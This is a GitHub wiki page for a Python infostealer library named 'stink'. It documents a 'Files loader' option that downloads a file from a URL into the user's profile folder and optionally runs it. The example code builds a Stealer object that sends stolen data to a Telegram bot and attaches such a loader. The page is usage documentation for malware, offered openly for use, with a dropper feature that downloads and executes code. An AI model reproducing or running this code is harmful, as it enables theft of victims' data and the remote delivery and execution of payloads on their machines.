-
Notifications
You must be signed in to change notification settings - Fork 55
Files loader
Astaroth edited this page Oct 24, 2023
·
1 revision
Downloads a file from a link and runs it as needed.
- Accepts 3 parameters:
-
url
: a direct link to the file. -
destination_path
: the path to save the file on PC. -
open_file
: whether to run the file after downloading.
- Multiple loaders can be specified.
from os import environ, path
from stink import Stealer, Senders, Loader
if __name__ == '__main__':
Stealer(
senders=[
Senders.telegram(token="YOUR_TOKEN", user_id=YOUR_ID)
],
loaders=[
Loader(
url="https://github.com/FallenAstaroth/stink/blob/master/docs/logo.jpg?raw=true",
destination_path=path.join(environ["USERPROFILE"], "AppData", "stink_logo.jpg"),
open_file=True
)
]
).run()